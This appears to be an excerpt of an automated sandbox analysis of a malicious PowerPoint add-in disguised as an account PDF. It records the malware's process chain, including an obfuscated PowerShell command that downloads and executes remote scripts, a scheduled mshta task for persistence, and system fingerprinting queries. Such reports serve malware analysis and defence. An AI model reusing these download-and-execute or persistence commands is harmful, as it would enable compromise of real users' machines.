Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\user\Desktop\Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_408b52dd81ad428db256ba35835b2ee7.txt?dn=asdoawkdajicqujwdi') -useB); Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 63 /tn ""kbnvmmmhjo"" /F /tr ""\""MsHtA""\""https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html\" Jump to behavior
Source: C:\Windows\System32\taskeng.exe Process created: C:\Windows\System32\mshta.exe C:\Windows\system32\MsHtA.EXE "https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html" Jump to behavior
Source: taskeng.exe, 0000000F.00000002.671258485.0000000000770000.00000002.00020000.sdmp Binary or memory string: k!Progman
Source: taskeng.exe, 0000000F.00000002.671258485.0000000000770000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: taskeng.exe, 0000000F.00000002.671258485.0000000000770000.00000002.00020000.sdmp Binary or memory string: !Progman
Source: taskeng.exe, 0000000F.00000002.671258485.0000000000770000.00000002.00020000.sdmp Binary or memory string: Program Manager<

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Windows\System32\taskeng.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs